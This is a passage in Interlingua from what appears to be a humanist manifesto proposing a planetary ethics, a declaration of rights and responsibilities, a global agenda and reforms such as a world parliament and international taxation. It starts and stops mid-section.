Septimo, le humanistas recommenda que nos usa le ration pro dar un fundamento a nostre judicios ethic. Illes sublinea que le cognoscentia es essential pro formular electiones ethic. In particular, nos ha besonio de entrar in un processo de deliberation si nos vole resolver le dilemmas moral. Le valores e principios human pote esser justificate melio al luce del recerca reflexive. Quando il existe differentias, il es necessari de negotiar los sempre mediante un dialogo rational.\n+ Octavo, le humanistas mantene que nos deberea esser preparate pro modificar le principios e valores ethic al luce del realitates currente e del previsiones futur. Il es necessari appropriar nos le melior sagessa moral del passato, ma anque disveloppar nove solutiones pro le dilemmas moral, sia vetule o nove.\nPro exemplo, le debatto super le euthanasia voluntari se ha intensificate particularmente in le societates opulente, proque le technologia medic nos permitte ora de prolongar le vita de malados terminal qui anteriormente haberea morite. Le humanistas ha arguite in favor del \" morir con dignitate\" e del derecto del adultos competente de refusar tractamento medic, reducente assi le suffrentia innecessari e mesmo de accelerar le morte. Illes ha anque recognoscite le importantia del clinicas specialisate in le alleviation del processo de morte.\nDel mesme maniera nos deberea esser preparate pro eliger rationalmente le nove poteres reproductive que le recerca scientific ha facite possibile - tales como le fertilisation in vitro, le maternitate surrogate, le ingenieria genetic, le transplantation de organos e le clonation. Nos non pote mirar retro al morales absolute del passato pro guidar nos in iste questiones hic. Nos ha besonio de respectar le autonomia del election.\n+ Nono, le humanistas argue que nos deberea respectar un ethica de principios. Isto significa que le fin non justifica le medios; al contrario, nostre fines es modellate per nostre medios, e il ha limites a lo que il nos es permittite de facer. Isto es specialmente importante hodie al luce del tyrannias dictatorial del vintesime seculo, in le quales ideologias politic propugnate con zelo quasi religiose ha sacrificate le principios moral pro attinger scopos visionari. Nos es acutemente consciente del tragic suffrentia infligite a milliones de personas per illes qui condonava un grande mal pro attinger un presumite plus grande ben.\nUN OBLIGATION UNIVERSAL A TOTE LE HUMANITATE\nLe necessitate le plus urgente del communitate mundial hodie es disveloppar un nove Humanismo Planetari que non solo cerca preservar le derectos human e a meliorar le libertate e le dignitate human, ma que anque sublinea nostre obligation a tote le humanitate.\n+ Primo, le principio ethic fundamental del Humanismo Planetari es le necessitate de respectar le dignitate e le valor de tote le personas del communitate mundial. Sin dubita cata persona recognosce jam multiple responsabilitates relative a su contexto social: le personas ha responsabilitates verso le familia, le amicos, le communitate, le citate, le stato o le nation ubi iste personas reside. Nos ha besonio, totevia, de adder a iste responsabilitates un nove obligation que ha emergite - nostre responsabilitate verso le personas trans nostre limites national. Ora, plus que jammais, nos es ligate moral- e physicamente a cata persona in le mundo, e le campana sona pro totes quando illo sona pro uno.\n+ Secundo, nos debe ager pro mitigar le suffrentia human e incrementar le summa de felicitate human ubicunque il es possibile facer lo, e iste responsabilitate se extende al mundo integre. Iste principio es recognoscite sia per le credentes religiose o per le non-credentes. Isto es essential pro le structura integre del moralitate human. Necun communitate pote superviver si illo condona violationes a grande scala del decentias moral commun inter su proprie membros. Le question clave concerne hodie le extension del principio. Nos sustene que iste deber moral debe esser generalisate: nos deberea preoccupar nos non solo del benesser del personas intra nostre communitate o nation-stato ma anque del communitate mundial integre.\n+ Tertio, nos deberea evitar un superemphase super un parochialismo multicultural, que pote esser divisive e destructive. Nos debe esser tolerante con le diversitate cultural, excepte quando iste culturas mesme es intolerante o repressive. Il es tempore de lassar detra se un stricte tribalismo e de trovar un terreno commun. Le ethnicitate es le resultato de isolamentos social e geographic passate que non plus es relevante in un societate global aperte ubi le interaction e le matrimonios inter differente ethnicitates non solo es possibile, ma debe esser incoragiate. Ben que le loyalitate al proprie nation, tribo o gruppo ethnic pote portar individuos ultra interesses egoistic, le chauvinismo excessive inter gruppos ethnic e nationes-statos frequentemente deveni destructive. Fidelitate e loyalitate non deberea finir al limite del enclaves ethnic o al frontieras national. Un moralitate rational nos impone construer e supportar institutiones de cooperation inter individuos de differente ethnicitates. Isto nos integrarea e non nos separarea le unes del alteres.\n+ Quarto, le respecto e le interesse pro le personas deberea applicar se a tote le esseres human in equal mesura. Isto significa que tote le esseres human debe esser tractate humanmente e que nos deberea defender le derectos human ubique. Conformemente a isto, cata uno de nos ha le deber de adjutar a mitigar le suffrentia human in qualcunque parte del mundo e a contribuer al benesser commun. Iste principio exprime nostre plus alte senso de compassion e de benevolentia. Illo implica que le personas qui vive in le nationes ric ha un obligation concrete de mitigar le suffrentia e de augmentar le benesser, ubicunque possibile, del personas in le regiones impovrite del mundo. Del mesme maniera, illo significa pro le habitantes del regiones subdisveloppate le obligation de reimplaciar le resentimento contra illes qui vive in le paises ric per un benevolentia reciproc. Le melio que le riccos pote facer pro le povres es adjutar les a adjutar se ipse. Si le plus povres del familia human debe esser adjudate, le riccos debe limitar lor proprie consumo conspicue e lor excessive auto-indulgentia.\n+ Quinto, iste principios deberea applicar se non solo al presente ma anque al futur communitate mundial. Nos ha un responsabilitate verso le posteritate - sia in le futuro immediate o a longe termino. Le personas ethic e rational recognosce dunque lor extendite obligation verso le infantes del infantes de nostre infantes e verso le communitate de tote le esseres human, presente e futur.\n+ Sexto, in le mesura del possibile cata generation ha le obligation de lassar le ambiente planetari in un stato melior que quando illo lo ha hereditate. Nos deberea evitar le pollution excessive e usar solo lo que nos besonia rational- e economicamente a fin de evitar dispender le ressources non renovabile del terra. In un epocha de rapide crescimento del population e de consumo accelerate de ressources, isto pote parer un ideal impossibile. Ma nos debe essayar, proque nostre actiones de hodie determinara le destino del generationes que veni. Nos pote reguardar retro e evalutar retrospectivemente le actiones de nostre predecessores, e nos pote laudar les o blasmar les pro lor actiones. Nos pote criticar, pro exemplo, illes qui ha vacuate irrefrenatemente le reservas de petroleo e de gas natural, o illes qui ha exhaurite le reservas de aqua. Ma nos pote anque regratiar le architectos e ingenieros del passato pro le parcos natural, le systemas de depuration del aqua, le construction de systemas cloacal subterrestre, le autostratas e le pontes que illes ha construite e que nos usa hodie.\nNos pote identificar nos con le mundo futur e nos pote imaginar nos como essera illes qui va viver alora, e hodie nos pote inferer obligationes pro le personas de deman. Nostre obligation verso le futuro procede in parte de nostre gratitude, o forsan condemnation del generationes anterior al nostre e le sacrificios que illes ha facite e del quales nos beneficia. Le generationes futur ha besonio de portavoces qui servi como lor mandatarios e qui defende lor derectos futur. Isto non significa imponer un obligation impossibile proque un bon parte del specie human jam es implicate moralmente in le futuro del posteritate, lo que include un preoccupation pro le ambiente. On poterea arguer anque que le idealismo heroic pro un grande causa ultra nos ipse e pro le plus grande benesser del humanitate ha sempre inspirate le esseres human.\n+ Septimo, nos deberea esser attentive a facer nihil que mitte in periculo le superviventia mesme del generationes futur. Nos debe prender mesuras pro evitar que nostre societate planetari degrada le atmosphera, le aqua e le solo, de sorta que le vita in le futuro esserea drasticamente limitate. Nos deberea evitar que nostre societate planetari usa armas de destruction massive. Pro le prime vice in le historia le humanitate possede le medios pro autodestruer se. Le actual abassamento del nivello del Guerra Frigide non garanti que le ultime spada de Damocle non va esser usate per discipulos fanatic del vengiantia o per alicun sorta de extremistas disposite a permitter que le mundo es destruite a fin de salvar lo.\nDunque, un viabile nove Humanismo Planetari que se pone como objectivo prioritari un mundo salve, secur e melior deberea esser nostre obligation le plus importante, e nos deberea facer tote lo que nos pote pro ingenerar iste obligation ethic. Iste obligation deberea applicar se a tote le gente del Planeta, religiose o naturalistic, theista o humanista, ric o povre, de qualcunque racia, ethnicitate o nationalitate.\nNos ha besonio de convincer nostre proximos del necessitate de laborar insimul al creation de un nove consenso planetari in le qual le conservation e le disveloppamento del majoritate del humanitate es nostre supreme obligation.\nUN DECLARATION PLANETARI DE DERECTOS E RESPONSABILITATES\nPro satisfacer a nostre obligation verso le Humanismo Planetari, nos propone Un Declaration Planetari de Derectos e Responsabilitates, que es le expression de nostre obligation planetari pro le benesser del humanitate como un toto. Iste declaration incorpora le Declaration Universal del Derectos Human, ma va ultra illo offerente alicun nove provisiones. Multe paises independente se ha effortiate pro implementar iste provisiones intra lor proprie frontieras national. Ma il ha un necessitate crescente pro un explicite Declaration Planetari de Derectos e Responsabilitates que on pote applicar a tote le membros del specie human. Su implementation non va esser facile. Isto depende, naturalmente, de un sufficientia de ressources. Ben que le libere mercato es un machina dynamic del crescimento economic e del disveloppamento, illo non es infallibile e debe esser supportate per politicas public pro un interesse social plus ample. Le medios adoptate pro realisar le principios de iste Declaration va esser trahite primarimente del sector private, ma anque le sector public ha un rolo importante a jocar. Sin dubita il va haber un tremende opposition politic a iste propositiones, ma nos desirarea establir los como objectivos a longe termino, anque si al momento il pote parer difficile realisar los in certe partes del mundo.\n+ Primo, nos deberea effortiar nos pro eliminar le paupertate e le malnutrition e pro provider un systema sanitari adequate e un allogio apte pro le gente in omne locos del planeta. Isto significa que a nemo poterea esser negate un alimentation adequate e aqua potabile e que nos deberea dedicar nostre melior effortios a eradicar le maladias infectiose, assecurar un sanitate functionante e garantir un digne minimo de allogio pro totes. Isto es un carga dur, ma il es imperative que super fundamentos moral nos comencia a interprender iste labor.\n+ Secundo, nos deberea effortiar nos pro provider securitate economic e un salario adequate pro totes. Isto significa dar al gente opportunitates juste de empleo, assecurantia contra le disoccupation, e securitate social pro le pensionatos. Il deberea exister programmas special pro educar le handicapatos pro cargas pro le quales illes es capabile e adjutar les a trovar un empleo.\nLe premissa central hic es le auto-adjuta: le individuos debe activar lor proprie effortios pro ganiar un salario sufficiente. Tote lo que le societate pote facer es provider opportunitates - sia con medios private o public.\n+ Tertio, cata persona deberea esser protegite contra damnos, periculos e mortes injustificate e innecessari. Tote le membros del specie human deberea esser protegite contra le violentia physic, le furto de lor proprietate personal e le pavor debite a intimidation (sia per personas private o institutiones social o politic). Illes deberea esser protegite contra abusos sexual, vexationes e violationes. Le comportamento sexual deberea esser basate super le principio de consenso. Le sexo o le matrimonio con infantes non deberea esser permittite sub ulle circumstantia.\nLe pena capital es un forma inadmissibile de retaliation. Illo deberea esser reimplaciate per altere punitiones, como le imprisionamento perpetue. Le major parte del nationes ha jam abolite le pena de morte.\n+ Quarto, le individuos deberea haber le derecto de viver in un unitate familiar o in un gruppo familiar de lor election, conformemente a lor salario, e illes deberea haber le derecto de procrear o de non procrear infantes. Tote le individuos deberea haber le derecto de eliger liberemente un partner, si illes desira haber un tal, assi como le numero e le periodicitate del infantes que illes vole haber. Totes deberea haber le derecto de facer crescer lor infantes biologic o adoptate, o de non haber familias.\nLe personas qui elige haber infantes debe haber certe requirimentos obligatori: Le genitores debe crear un ambiente secur e affectuose pro lor infantes. Le infantes non debe esser abusate per genitores. Le juvene infantes e le adolescentes non debe esser obligate a facer le labores de adultos o excessivemente pesante. Le genitores non debe negliger lor infantes e negar a illes un nutrition adequate, sanitate, allogio, cura medic e securitate.\nLe genitores non deberea refusar a lor infantes le accesso al education, al inricchimento cultural e al stimulation intellectual. Ben que le guida moral paterne es vital, le genitores non deberea imponer simplemente lor proprie vision religiose o lor valores moral a lor infantes o indoctrinar les. Le infantes, le adolescentes e le adultos juvene deberea esser exponite a distincte punctos de vista e esser incoragiate a pensar con le proprie testa. Le punctos de vista, incluse del parve infantes, debe esser respectate.\n+ Quinto, le opportunitate pro le education e le inricchimento cultural deberea esser universal. Tote le personas deberea haber le opportunitate de augmentar lor cognoscentia. Como minimo, le scholarisation deberea esser offerite a tote le infantes desde lor prime annos usque le adolescentia. Ma le opportunitate de educar se deberea continuar a esser accessibile a tote le gruppos de etate, includente le education continue pro le adultos. Il ha standards minime que tote persona deberea attinger: saper leger, saper scriber e dominar le mathematica de base. Plus alte nivellos depende de talento e capacitate. Le admission al scholas de nivello superior deberea esser basate super le merito; ubicunque possibile, le scholarisation deberea esser garantite, de tal modo que necun studente qualificate se videra obligate a abandonar su opportunitate educational a causa de manco de financias.\nTote le infantes deberea esser instruite in alicun dexteritate basic commerciabile, pro garantir pro illes le possibilitate de trovar un empleo profitabile. Isto deberea includer alicun forma de cognoscentia del computator, un edification cultural e le habilitate de functionar in le mundo del commercio.\nLe curriculo deberea promover le comprension del methodos scientific de recerca e del pensamento critic. Il non deberea poner se limites al libere recerca. Le education deberea includer le appreciation pro le scientias natural, biologic e social. Anque le theoria del evolution e le principios basic del ecologia deberea esser studiate.\nLe studentes deberea apprender le principios del bon sanitate, del nutrition adequate, del cura medic, e del exercitio physic. Il deberea includer se in isto un certe comprension del medicina scientific e del functionamento del corpore human. Il deberea facilitar se le opportunitate pro un appropriate education sexual jam desde le prime annos del infante. Isto deberea includer le comportamento sexual responsabile, le planification familiar e le technicas contraceptive.\nLe studentes deberea apprender a appreciar le diverse traditiones cultural. Isto poterea includer le studio comparative de religiones, linguas e culturas, e un appreciation del expression artistic. Le studentes deberea studiar historia comenciante per le historia del pais o cultura concrete in le quales illes vive, ma illes deberea studiar anque altere culturas, includente le historia del civilisationes mundial. On besoniara tote le effortios pro disveloppar un sorta de \"alphabetisation planetari\" , isto es, conscientia del ambiente. Le inseniamento non deberea esser confinate in le margines de stricte specialisationes, ma un certe effortio pro attinger un comprension interdisciplinari deberea esser incoragiate.\n+ Sexto, le individuos non deberea esser discriminate negativemente a causa de racia, origine ethnic, nationalitate, cultura, casta, classe, credentias, genere o orientation sexual. Nos ha besonio de disveloppar un nove identitate human - esser membro de un communitate planetari. Iste identitate debe haber prioritate super tote le altere identificationes e pote servir como base pro eradicar le discrimination.\nLe odios racial, national o ethnic es immoral. Tote le individuos es membros del mesme specie human e como tales deberea haber le derecto de fruer de tote le privilegios e opportunitates attingibile.\nLe antagonismo de classe pote esser un fonte de discrimination. Le barrieras traditional, tales como le systema de castas, ha excludite del progresso milliones de personas. Alicunos ha cercate clauder le abysso inter riccos e povres impovriente le primes in vice de meliorar le conditiones del ultimes. Alteres ha ignorate le condition difficile del povres o ha cercate a mantener les in un stato de dependentia.\nLe derecto de creder e de practicar un religion o fide debe esser respectate sin discrimination. Le libertate equivalente de non practicar un religion deberea esser garantite al dissidentes religiose, al agnosticos e al atheos, cuje punctos de vista es digne de un non minor respecto.\nLe discrimination de genere non deberea esser permittite. Le feminas ha le derecto a esser tractate equalmente con viros. Le discrimination in le opportunitate de trovar labor, in education e in activitates cultural es insupportabile. Le societate non deberea negar equal derectos al homosexuales, bisexuales, assi como al travestitos e transsexuales.\n+ Septimo, le principios del equalitate deberea esser respectate per tote le communitates civilisate, e in quatro grande sensos:\n1. Equalitate ante le lege: Cata persona deberea haber le derecto a un processo debite e equal protection per le leges. Le mesme leges debe esser applicate al functionarios del governamento e al citatanos. Nemo debe esser super le lege. Le leges debe esser cec ante le racia, le color, le ethicitate, le credo, le genere e le position economic.\n2. Equalitate de consideration: Tote le personas ha equal valor e dignitate e a illes non debe esser negate le beneficios e le derectos accordate a tote le alteres. Isto non nega al societate le derecto a restringer, punir, o incarcerar individuos qui infringe le lege, usa violentia, o committe crimines contra alteres.\n3. Satisfaction del necessitates basic: Le individuos pote carer de ressources e sin esser responsabile de lor proprie situation esser incapace de satisfacer lor necessitates minimal de alimento, allogio, securitate, cura del sanitate, inricchimento cultural e education. In tal casos, si le societate ha le medios, illos ha anque le obligation de adjutar a satisfacer tanto como es possibile iste necessitates basic. Iste assistentia ha un relation con le capacitate de laborar, pois que le societate non deberea favorir un cultura de dependentia.\n4. Equalitate de opportunitate: In le societates libere il deberea haber un ample campo de nivellos. In un societate aperte e libere le adultos e le infantes deberea fruer del opportunitates pro satisfacer lor interesses e aspirationes, e pro exprimer lor talentos unic.\n+ Octavo, il es le derecto de cata persona viver un bon vita, aspirar al felicitate, divertir se creativemente secundo su proprie preferentias, in le mesura de que ille non causa damno a alteres. Le principio essential es que cata persona deberea fruer del opportunitate de realisar su personal perfectionamento, concomitante con ressources social, ma iste realisation depende del individuo e non del societate. Tamen, le felicitate depende del salario, ressources e attitudes personal, e le individuos non deberea expectar que le societate les provide le medios de satisfaction pro un ample gamma de gustos e aspirationes idiosyncrasic.\n+ Nono, le individuos deberea haber le opportunitate de appreciar e participar in le artes - includente le litteratura, le poesia, le drama, le sculptura, le dansa, le musica e le canto. Le imagination esthetic e le activitates creative pote contribuer immensemente al inricchimento del vita, al autorealisation e al felicitate human. Le societate deberea incoragiar e supportar le artes e lor ample dissemination cultural in tote sectores del communitate.\n+ Decimo, le individuos non deberea esser injustemente reprimite, restringite, o impedite exprimente un ample gamma de electiones personal. Isto include le libertate de pensamento e conscientia - le inestimabile derecto de creder o de non creder, le libertate del parola e le libertate pro cata uno de sequer su proprie stilo de vita, in le mesura de que illo non impedi a alteres de exercer lor proprie derectos.\nIncludite in le texto de supra es le derecto a un vita private:\n+ Le confidentialitate del individuos deberea esser respectate.\n+ Tote le individuos deberea esser libere de intrusiones politic o coercition social.\n+ Le feminas deberea haber le derecto de controlar lor proprie corpores. Isto include le libertate reproductive, le contraception voluntari e le aborto.\n+ Le copulas deberea haber le information appropriate pro planificar le familia a le capacitate de facer uso pro se ipse del insemination artificial e del consilios del biogenetica.\n+ Il deberea esser permittite al adultos maritar se con quicunque illes vole, anque si de differente racia, ethnia, classe, religion, casta o fundo national. Le mesticiage non deberea esser prohibite. Le copulas del mesme sexo deberea haber le mesme derectos que le copulas heterosexual.\n+ Le principio del consenso informate deberea esser le guida pro le cura del sanitate. Le individuos matur deberea haber le derecto de seliger o rejectar le tractamento medic.\n+ Le individuos deberea haber le derecto de constituer organisationes voluntari a fin de participar in interesses e activitates commun. Le derecto de libere association debe esser respectate, si illo illo es pacific e non-violente.\nUN NOVE AGENDA GLOBAL\nMultes del alte ideales que ha emergite post le Secunde Guerra Mundial, e que ha trovate expression in tal instrumentos como le Declaration Universal del Derectos Human, ha declinate ubique in le mundo. Si nos vole influer le futuro del humanitate, il essera necessari laborar sempre plus con e a transverso le nove centros de poter e influentia pro meliorar le equitate e le stabilitate, alleviar le paupertate, reducer le conflicto e salveguardar le ambiente. Al luce de iste circumstantias cambiante un numero de objectivos prioritari ha devenite apparente:\n+ Primo, securitate: Le problema de conflictos e guerras regional non jam ha essite resolvite, ni ha disparite le periculo latente que es associate al armas de destruction massive. In le ultime 50 annos le violentia interne e le guerras civil ha multo superate le conflictos inter nationes in terminos de numero e de vitas human. Tal conflictos surge invariabilemente quando un communitate ethnic intra un stato se senti opprimite per le governamento o per un altere communitate, e se senti incapace de facer audir su gravamines per medios legal. Le Charta del Nationes Unite prohibi specificamente interferentia in le affaires interne de un stato membro; per isto le communitate international care de qualcunque base legal pro tentar resolver le conflictos tribal, ethnic, o inter communitates intra le frontieras national contra le voluntate del gruppo governante in le stato concernite. Ultra isto, qualcunque tentativa per le communitate international pro resolver tal conflictos mediante le uso del fortia incontra facilemente in le Consilio de Securitate del Nationes Unite le veto de un del membros permanente amico del governamento concernite. Desde le fin del Guerra Frigide, le Statos Unite, supportate per le NATO e le altere poteres occidental, ha sovente cercate imponer pace per le fortia, passante preter le Nationes Unite e sabotante seriosemente lor autoritate.\n+ Secundo, disveloppamento human: Nos convoca totes pro favorir le propositiones audace e innovator de maximisar le progresso human a scala global. Le disparitate inter le sectores opulente e subdisveloppate del planeta es un problema urgente hodie como illo esseva in le passato. Le mundo disveloppate pote adjutar in parte pro superar lo providente capital, adjuta technic e assistentia educational.\nIl es necessari poner un nove emphase super le disveloppamento social, non simplemente disveloppamento economic, recognoscente que proque le crescimento economic non sempre duce al disveloppamento social, investimento directe in disveloppamento social pote reducer le paupertate e portar plus de gente in le economia monetari. Il ha un necessitate de supportar mesuras que va directemente beneficiar le sanitate e le benesser social del plus povres, e specialmente del feminas e del pueras. Isto debe includer alicun effortios pro stabilisar e pois diminuer le taxas de crescimento del population.\nLe assistentia al disveloppamento ha essite vidite frequentemente per le paises donante como un instrumento de imperialismo externe e de politica commercial. Con le fin del Guerra Frigide ha diminuite le necessitate percipite de competer pro le supporto del mundo in via de disveloppamento, e con illo ha diminuite le dimension del assistentia pro le disveloppamento. Iste tendentia debe inverter se.\nNos exhorta tote le nationes industrialisate a acceptar como prime passo le lineas guida traciate per le Nationes Unite pro le assistentia al disveloppamento in ultramar, in particular a contribuer con (o acceptar le imposto de un) 0,7 % del Producto Interior Brute cata anno pro programmas de adjuta al disveloppamento, de que 20 % deberea esser destinate al disveloppamento social, e a su vice 20 % de iste budget al assistentia directe al populationes. Iste assistentia deberea crescer in le annos sequente.\nIl deberea esser date un major effortio pro suturar le brecha de cognoscentia del nationes le plus povre, pro formar e recyclar le disoccupatos, pro provider melior conditiones de labor (specialmente pro feminas e le subprivilegiatos), e pro provider plus de ressources pro le servicios sanitari, le education, e le inricchimento cultural.\nNos exhorta tote le nationes a supportar le \"Programma de Action de Cairo\" de 1994 pro provider sanitate reproductive e derectos reproductive universal, pro adjutar a meliorar le qualitate de vita del plus povres, e pro stabilisar le crescimento del population mundial. Le indice de Disveloppamento Human publicate annualmente per le Programma de Disveloppamento del Nationes Unite deberea esser promovite como un mesura del performance social pro tote le paises in via de disveloppamento.\nIl ha un rolo crescente pro le organisationes non-governamental (ONGs) in le paises in via de disveloppamento, de ager como receptores directe del assistentia al disveloppamento a fin de evitar le corruption e le endemic retardos bureaucratic in multes de iste paises. Le organisationes non-governamental occidental ha un rolo significante a jocar significante como partners e como canales de transmission pro iste assistentia al disveloppamento.\n+ Tertio, justitia social: Le Declaration Planetari de Derectos e Responsabilitates es central pro questiones de justitia social. Il es necessari resister al tentativas de limitar le impacto del justitia social o de restringer su portata geographic o cultural. On debe sublinear le applicabilitate del declaration del derectos human al sphera private del casa, al familia e al communitate. Nos exhorta in particular le prompte ratification per tote le paises de tote le conventiones international super le derectos del feminas, del infantes, del minoritates, e del populos indigena.\n+ Quarto, le crescimento de conglomeratos global: Le ultime 20 annos ha essite testes de un crescente concentration de poter e ricchessa in le manos del corporationes global. Sin dubita illos ha contribuite al commercio mundial e al disveloppamento economic. Ma le leges international ha essite lente a responder al rapide evolution del structuras de poter in le economia mundial. Le corporationes multinational in iste momento se trova in le position de ignorar in grande mesura le desiros del governamentos individual in le formulation de lor politica, movente lor ressources financiari trans le frontieras o exportante lor fabricas al mercatos le plus economic. Iste libertate es considerate como un beneficio pro le libere mercato e es incoragiate per le mercatos financiari global. Ma tal corporationes es anque amplemente capace de evitar le impostos mediante le exportation del profitos. Le institutiones financiari es capace de evader le controlo financiari mediante le ubication de lor structuras in paradisos fiscal exterior, de sorta que transferimentos international de fundos que se avicina a un trillion de dollars per die remane sin taxation. Similarmente individuos opulente es capace de evitar de pagar lor parte eque del impostos.\nQualcunque proposition pro affrontar iste cosas ma que restringe le activitate del libere mercato incontrara un opposition energic e fallera certemente. Pro iste ration il essera necessari reformas imaginative tendente a assecurar que le ricchessa international, tanto del individuos como del corporationes, paga lor parte eque del impostos sin damnificar le motor del economia mundial.\n+ Quinto, leges international: Le communitate global ha besonio de disveloppar un systema de leges international que transcende le leges del singule nationes. Il es necessari transformar un mundo alegal in un altere que ha leges que totes e cata uno pote comprender e sequer.\n+ Sexto, le ambiente: Nos debe recognoscer que le currente stilos de vita in le societates industrialisate del Nord non es sustenibile e isto va esser sempre plus ver, a mesura que le disveloppamento economic e le crescente consumo in le nationes plus povre augmentara le pression super le ambiente global. Le consumo galopante jam pone un pression sin precedentes super le ambiente, lo que mitte in un duple periculo le personas qui consume minus. Le problema consiste in altiar le nivellos de consumo de un milliardo de povres qui care del repasto sufficiente de cata die, e simultaneemente implementar un modello de consumo plus sustenibile, que reduce le damno ambiental.\nLe problemas global del ambiente debe esser affrontate a nivello planetari: reduction del pollution ambiental, includente illo del dioxydo de carbon e altere gases que provoca le effecto de estufa; disveloppamento de carburantes alternative; reforestation de terras guastate; arresto del erosion del solo in areas cultivabile; facilitation de activitates economic con impacto positive super le ambiente; limitation del pisca in le mares aperte que menacia le extinction de integre populationes de pisces; protection de species impericulate; reduction del addiction social al stilos de vita de consumo conspicue e dissipante; e le elimination de tote le armas de destruction massive. Assi le mesuras pro proteger le ambiente require un alte prioritate pro le communitate planetari.\nLE NECESSITATE DE NOVE INSTITUTIONES PLANETARI\nLe question urgente in le vinti-prime seculo es si le humanitate pote disveloppar institutiones global pro affrontar iste problemas. Multes del melior remedios ha essite adoptate a nivello local, national e regional per effortios voluntari, private e public. In un caso le strategia es cercar solutiones a transverso initiativas del libere mercato; in un altere caso il se tracta de usar fundationes e organisationes international de voluntarios pro le disveloppamento educational e social. Nos crede que totevia il remane un necessitate pro disveloppar nove institutiones global que essera capace de affrontar le problemas directemente e de concentrar se super le necessitates del humanitate como un toto.\nPost le Secunde Guerra Mundial esseva fundate un numero de institutiones international, tales como le Nationes Unite e le Organisation Mundial del Sanitate, pro affrontar iste cargas. Infortunatemente, il se ha aperite un grande abysso inter le modo como iste institutiones opera e le necessitates del nove communitate planetari. Pro iste ration le institutiones existente debe cambiar drasticamente lor forma de operar, o nove institutiones debe esser create.\nLe frontieras politic de facto del mundo es arbitrari. Il es necessari que nos passa trans illos. Il es necessari continuar a defender le incremento del democratia in le diverse nationes del communitate mundial, ma il es necessari anque meliorar le derectos transnational de tote le membros del communitate planetari. Ora plus que unquam il es necessari un institution mundial que representa le gente del mundo plus que le nationes-statos.\nLe Nationes Unite, al contrario de su precursor, le Liga de Nationes, ha jocate un rolo vital in le mundo, ma il ha multo a fecer. Pro resolver le problemas al nivello transnational e contribuer al disveloppamento planetari, il es necessari transformar le Nationes Unite, gradual- ma drasticamente. Alicunes de iste cambios require emendamentos del Charta del Nationes Unite, alteres reguarda le modification radical del structura del Nationes Unite; iste cambios requirera le consenso del nationes membros. Ma qualcunque alterationes es facite, nos deberea preservar ille elementos del Nationes Unite que ha enormemente meliorate le vita de milliones de personas del planeta.\nLe cambio le plus fundamental esserea le augmento del effectivitate del Nationes Unite, transformante lo de un assemblea de statos soveran in un assemblea anque de populos. Un tal transformation ha habite precedentes, includente le autoconversion del confederation de statos soveran de America in le actual systema federal. Si nos vole resolver nostre problemas global, le nationes-statos debera transferer alique de lor soveranitate a un systema de autoritate transnational. Fallimento in isto va portar in se le risco de jectar le mundo in un conflicto inter statos soveran cuje interesse primari esserea le proprie soveranitate. Nos non pote permitter nos un tal dilapidation de ressources; le gente del planeta merita alique melior. Sin dubita un tal systema transnational ingenerarea le opposition de leaders politic ubique - specialmente de nationalistas chauvinistas. Ma iste systema pote realisar se - e haber successo - si nos labora pro un consenso ethic planetari.\nQualcunque nove systema transnational deberea esser democratic e deberea haber poteres limitate. Il deberea haber un maximisation del autonomia, del decentralisation e del libertate pro le statos e regiones independente del mundo. Il deberea anque crear se un systema de controlo e de balanciamento como salveguarda contra le uso arbitrari del poter. Le systema transnational deberea occupar se primarimente de questiones que pote esser resolvite solmente a nivello global, como le securitate, le defensa del derectos human, disveloppamento economic e social e le protection del ambiente planetari. Pro realisar iste resultatos, nos propone le sequente reformas, laborante a partir del structura del Nationes Unite:\n+ Primo, le mundo ha besonio de establir, in alicun momento del futuro, un Parlamento Mundial effective -- e electiones pro constituer lo basate in le population - que representara le gente, non lor governamentos. Le idea de un Parlamento Mundial es similar al evolution del Parlamento Europee, que se trova ancora in su infantia. Le actual Assemblea General del Nationes Unite es un assemblea de nationes. Le nove Parlamento Mundial adoptara politicas legislative in modo democratic. Forsan un legislatura bicameral es le plus practic, con un Parlamento popular e un Assemblea General de nationes. Le structura formal detaliate solo pote disveloppar se mediante un assemblea pro le revision del Charta del Nationes Unite que nos recommenda convocar a fin de examinar exhaustivemente le optiones pro le reinfortiamento del Nationes Unite e\/o pro implementar lo con un systema parlamentari.\n+ Secundo, le mundo ha besonio de un systema de securitate effective pro resolver le conflictos militar que menacia le pace. Nos ha besonio de emendar le Charta del Nationes Unite pro realisar iste fin. Assi le veto del Consilio de Securitate del Cinque Grandes debe esser eliminate. Iste veto existe a causa del circumstantias historic al fin del Secunde Guerra Mundial que non plus es relevante. Le principio basic del securitate es que necun stato singule ni alliantia de statos ha le derecto de minar le integritate politic o territorial de altere statos mediante aggression. Necun nation o gruppo de nationes deberea esser autorisate vigilar le mundo o bombardar unilateralmente alteres sin le accordo del Consilio de Securitate. Le mundo ha besonio de un fortia de policia effective pro proteger le regiones del mundo del conflictos e pro negotiar le tractatos del pace. Nos recommenda que le Consilio de Securitate del Nationes Unite, eligite per le Assemblea General e le Parlamento Mundial, deberea requirer tres quartos del votos pro adoptar qualcunque mesura de securitate. Isto significarea que si on mantene le actual Consilio de 15 membros, il bastarea quatro o plus de membros que non es de accordo, pro impedir prender qualcunque action.\n+ Tertio, nos debe disveloppar un Corte Mundial effective e un Tribunal Judiciari con sufficiente poter de facer respectar lor leges. Le Corte Mundial in Le Haga jam move in iste direction. Iste Corte debe haber le poter de processar le violationes de derectos human, le genocidios e le crimines international e de mediar in le conflictos e disputas international. Il es essential que le statos que non jam ha recognoscite su autoritate debe esser persuadite a facer lo.\n+ Quarto, le mundo ha besonio de un agentia planetari pro surveliar le ambiente a nivello transnational. Nos recommenda le reinfortiamento del agentias e programmas del Nationes Unite actualmente existente que se occupa del ambiente de maniera le plus directe. Pro exemplo, al Programma Ambiental del Nationes Unite deberea esser date le poter de facer complir le mesuras contra le grave pollution ecologic. Le Fundo del Nationes Unite pro le Population debe esser approvisionate con fundos sufficiente pro satisfacer le crescente necessitate mundial de medios contraceptive e in consequentia pro adjutar a stabilisar le crescimento deel population. Si iste agentias se monstra incapace de affrontar le problemas massive, il essera necessari crear un agentia planetari plus forte.\n+ Quinto, nos recommenda un systema international de impostos a fin de assister le sectores subdisveloppate del familia human e pro satisfacer le necessitates social non satisfacite per le fortias del mercato. Nos deberea comenciar con un imposto super le Producto National Brute de tote le nationes, usante le receptas pro le assistentia e le disveloppamento economic e social. Isto non deberea esser un contribution voluntari ma un ver imposto. Le vital agentias actualmente existente del Nationes Unite deberea esser financiate con le fundos assi obtenite. Isto include le UNESCO, le UNICEF, le Organisation Mundial del Sanitate, le Banca Mundial, le Fundo Monetari International e altere organisationes.\nIl ha besonio de un ample accordo international super le reforma de impostos pro assecurar que le corporationes multinational paga lor parte juste del imposto. 